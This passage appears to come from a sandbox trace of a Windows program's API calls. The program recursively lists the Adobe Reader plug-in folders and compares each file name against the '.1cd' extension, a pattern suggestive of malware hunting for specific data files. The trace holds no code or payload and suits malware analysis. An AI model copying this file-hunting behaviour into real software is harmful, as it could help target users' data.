ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0271.849] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP") returned 71 [0271.849] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6243c0 [0271.854] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.856] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0271.856] lstrlenW (lpString="Flash.CAT") returned 9 [0271.856] lstrlenW (lpString=".1cd") returned 4 [0271.866] FindClose (in: hFindFile=0x6243c0 | out: hFindFile=0x6243c0) returned 1 [0271.869] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0271.869] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0271.869] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE") returned 75 [0271.869] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6243c0 [0271.872] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.873] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0271.873] lstrlenW (lpString="Flash.CZE") returned 9 [0271.873] lstrlenW (lpString=".1cd") returned 4 [0271.873] FindClose (in: hFindFile=0x6243c0 | out: hFindFile=0x6243c0) returned 1 [0271.874] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0271.874] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0271.874] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV") returned 75 [0271.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0272.495] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.495] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0272.496] lstrlenW (lpString="Flash.HRV") returned 9 [0272.496] lstrlenW (lpString=".1cd") returned 4 [0272.496] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0272.497] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.497] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0272.497] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN") returned 75 [0272.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0272.498] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.498] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0272.498] lstrlenW (lpString="Flash.HUN") returned 9 [0272.498] lstrlenW (lpString=".1cd") returned 4 [0272.499] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0272.499] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0272.499] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL") returned 75 [0272.499] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0272.777] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.777] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0272.777] lstrlenW (lpString="Flash.POL") returned 9 [0272.778] lstrlenW (lpString=".1cd") returned 4 [0272.778] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0272.778] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.778] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0272.779] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM") returned 75 [0272.779] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0272.779] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.779] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0272.779] lstrlenW (lpString="Flash.RUM") returned 9 [0272.779] lstrlenW (lpString=".1cd") returned 4 [0272.780] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0272.780] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.780] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0272.780] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS") returned 75 [0272.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0272.781] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.781] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0272.781] lstrlenW (lpString="Flash.RUS") returned 9 [0272.781] lstrlenW (lpString=".1cd") returned 4 [0272.782] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0272.782] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.782] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0272.782] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY") returned 75 [0272.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0272.783] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.783] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0272.783] lstrlenW (lpString="Flash.SKY") returned 9 [0272.783] lstrlenW (lpString=".1cd") returned 4 [0272.783] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0272.784] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.784] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0272.784] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV") returned 75 [0272.784] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6244c0 [0272.907] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.907] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0272.907] lstrlenW (lpString="Flash.SLV") returned 9 [0272.907] lstrlenW (lpString=".1cd") returned 4 [0272.908] FindClose (in: hFindFile=0x6244c0 | out: hFindFile=0x6244c0) returned 1 [0272.909] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.909] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0272.909] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR") returned 75 [0272.909] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6244c0 [0272.909] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 